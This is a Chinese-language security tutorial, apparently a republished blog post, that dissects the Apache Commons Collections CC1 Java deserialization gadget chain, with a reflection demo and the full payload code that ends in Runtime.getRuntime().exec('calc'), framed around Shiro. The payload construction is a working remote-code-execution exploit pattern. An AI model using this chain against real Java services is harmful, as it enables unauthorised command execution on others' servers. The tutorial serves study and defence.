CC1 链深度拆解:反序列化利用链是如何一步步执行的

· 2026-09-01 17:52 · 6 阅读

原创 Qiufen 2026-09-01 17:52 山西

反序列化利用链的核心不是在于"执行恶意代码",而在于通过字节流提前写入恶意参数占位。

通过反射机制可以调用加载到jvm里面的类的私有函数

反射机制调用 ≈ new xxx(),然后再 invoke 调用具体函数

下面是三种反射机制的代码 demo

Hello.java

public class Hello {

// 私有变量

private String name = "私有字段";

// 无参构造函数

public Hello() {}

// 有参构造函数

public Hello(String name) {

this.name = name;

}   

// 普通函数

public void sayHello() {

System.out.println(

"Hello, " + name + "!");

}

// 私有函数

private void secret(){

System.out.println("私有方法");

}

}

ReflectMain.java

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

public class ReflectMain {

public static void main(String[] args)

throws Exception {

// 1. 获取 Class 对象

// (三种方式都列出来,用任意一种)

// 常用:全类名字符串

Class<?> clazz = Class.forName("Hello");

// 编译期已知

// Class<Hello> clazz = Hello.class;

// 已有对象

// Class<?> clazz = new Hello().getClass();

// 2. 创建对象:先拿构造器再 newInstance()

// 无参构造

Constructor<?> cons =

clazz.getDeclaredConstructor(String.class);

// 等价 new Hello("Reflect")

Object obj = cons.newInstance("Reflect");

// 3. 调用 public 方法

Method say =

clazz.getDeclaredMethod("sayHello");

// obj.sayHello()

say.invoke(obj);

// 4. 访问私有字段

Field field = clazz.getDeclaredField("name");

// 打破封装

field.setAccessible(true);

field.set(obj, "Java");

// 再次调用,看到值已变

say.invoke(obj);

// 5. 调用私有方法

Method secret =

clazz.getDeclaredMethod("secret");

secret.setAccessible(true);

// 调用 private secret()

secret.invoke(obj);

}

}

Shiro Payload 分析

payload 加密编码后进入到程序最终还是会还原成当前代码,直接分析即可

Payload.java

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class[]{String.class, Class[].class},

new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke",

new Class[]{Object.class, Object[].class},

new Object[]{null, new Object[0]}),

new InvokerTransformer("exec",

new Class[]{String.class},

new Object[]{"calc"})

};

Transformer transformerChain =

new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(

innerMap, null, transformerChain);

Class<?> clazz = Class.forName(

"sun.reflect.annotation."

+ "AnnotationInvocationHandler");

Constructor<?> ctor =

clazz.getDeclaredConstructor(

Class.class, Map.class);

ctor.setAccessible(true);

Object payload =

ctor.newInstance(Target.class, outerMap);

分三个步骤:

1、编写若干个转换器组成数组 transformers

2、将这些转换器组成的数组 transformers 打包成一条链路 transformerChainChainedTransformer() 的作用就是将多个小转换器串成一条链路,前一个转换器的输出是下一个转换器的输入,最终返回最后一个转换器的结果

3、通过反射机制拿到 sun.reflect.annotation.AnnotationInvocationHandler 并传入参数 outerMap

重点:java 反序列化时,payload 的各个参数、字段值会以字节流形式还原成对象的字段值,所以在反序列化后恢复对象,此时各个点位的参数、字段都是你写入的恶意参数和字段(例如上面的转换器数组链路 transformerChainMap 等这些),payload代码本身是不执行的,即使你自己写恶意函数,恶意类也不会进入到 jvm 中,jvm 只有程序运行时就已经加载的 class,所以我们只能利用 jvm 中已存在的 class,然后相当于以字节流形式写入恶意参数、字段提前占位,从而在反序列化完成后,程序去处理的对象就变成我们写入的恶意参数和值了

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

参数详细介绍

map 类型:Map

被装饰的原始 Map(就是真正的数据容器,TransformedMap 只是一个代理壳)。   以后所有读写最终都会落到这个 map 上。

keyTransformer 类型:Transformer

键转换器。每当调用 put(k,v) 或 putAll 时,先把 k 交给这个 transformer,用返回的新 key 真正落表。   传 null 表示"不转换键"。

valueTransformer 类型:Transformer

值转换器。同样,put 时先把 v 交给它,用返回的新 value 真正落表;get 时也会把查到的值先过一遍它再返回。   传 null 表示"不转换值"。

触发点:

1、反序列化完成后 readObject() 会遍历 memberValues,因为我们通过二进制提前将恶意参数写入了字节流,所以此时的 memberValues 值就是 outerMap

2、然后遍历我们传入的 outerMap = TransformedMap.decorate(innerMap, null, transformerChain) ,因为 org.apache.commons.collections.map.TransformedMap 的特性——不管是 put 还是 get 都会把查到的值先过一遍它再返回(详细看上面表格介绍),这里的"过一遍"就是 Transformer.transform(value) ,然后每个值都 new xxx 格式,由此就触发了运行

3、第一个运行的转换器 new ConstantTransformer(Runtime.class),得到:Runtime.class,代码如下:

ConstantTransformer.java

public class ConstantTransformer

implements Transformer {

private final Object iConstant;

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iConstant = Runtime.class

public ConstantTransformer(Object constant) {

iConstant = constant;

}

// 2、构成链路时需要检查每个值的时候,就是

// new ConstantTransformer.transform(xxx),

// 此时传入的值只是一个占位的随机值

// (组装阶段传入),会触发下面函数,

// 从而返回 iConstant = Runtime.class

public Object transform(Object input) {

return iConstant;

}

}

第二个运行的转换器 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),得到:,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = getMethod

private final String iMethodName;

// 1、iParamTypes =

// new Class[]{String.class, Class[].class}

private final Class[] iParamTypes;

// 1、iArgs =

// new Object[]{"getRuntime", new Class[0]}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(

// Runtime.class),此时传入值为第一个的

// 返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// input 已经是 class 对象了,

// 再次 getClass 就变成了

// Class 类的 class 对象,即:Class.class

Class<?> cls = input.getClass();

// iMethodName = getMethod

// iParamTypes =

// new Class[]{String.class, Class[].class}

// 需要找到名为 getMethod 的方法,

// 且需要传入两个参数,

// 第一个位String类型,

// 第二个位Class[] 类型

Method method =

cls.getMethod(iMethodName, iParamTypes);

// invoke 传入参数 Runtime.class 和

// new Object[]{"getRuntime",

// new Class[0]} 并执行方法返回,

// 方法具体内容看下面代码

// 把 new Object[]{"getRuntime",

// new Class[0]} 当成数组实参传进去,

// 反射机制会按元素拆包,

// 于是数组里2个元素分别对应:

// getRuntime、new Class[0]

// 返回 Runtime.getRuntime()

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

第三个运行的转换器 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),都是调用同一个类,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = invoke

private final String iMethodName;

// 1、iParamTypes =

// new Class[]{Object.class, Object[].class}

private final Class[] iParamTypes;

// 1、iArgs = new Object[]{null, new Object[0]}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(),

// 此时传入值为第二个的返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// 获取Runtime.getRuntime()的类对象

Class<?> cls = input.getClass();

// Method 类里找 invoke 方法,

// 然后固定两个参数:Object.class

Method method =

cls.getMethod(iMethodName, iParamTypes);

// 这里执行并返回,

// 返回的内容是 Runtime 的对象

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

第四个运行的转换器 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),都是调用同一个类,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = exec

private final String iMethodName;

// 1、iParamTypes = new Class[]{String.class}

private final Class[] iParamTypes;

// 1、iArgs = new Object[]{"calc"}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(),

// 此时传入值为第三个的返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// 拿 Runtime 对象的类对象

Class<?> cls = input.getClass();

// 找 Runtime 对象的 exec 方法,

// 且规定传参,类型为:String.class

Method method =

cls.getMethod(iMethodName, iParamTypes);

// 执行方法,且传入参数:calc

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

最终就是通过反射机制 Method.invoke 调用并执行方法:Runtime.getRuntime().exec("calc") ---> 弹计算机

总结回顾

整条链路的调用过程可以浓缩为一条线:

readObject() → AnnotationInvocationHandler → TransformedMap → ChainedTransformer → ConstantTransformer → InvokerTransformer(getMethod) → InvokerTransformer(invoke) → InvokerTransformer(exec) → Runtime.getRuntime().exec("calc")

反序列化利用链的核心不是在于"执行恶意代码",而在于通过字节流提前写入恶意参数占位。反序列化完成后,JVM 里已有的合法类处理了这些参数,最后一步步走到命令执行

理解了这个机制,再看其他利用链(CC2-CC7URLDNS 等),本质上都是在寻找不同的入口类和调用路径

原文链接

https://www.t00ls.com/articles-75225.html

阅读原文

跳转微信打开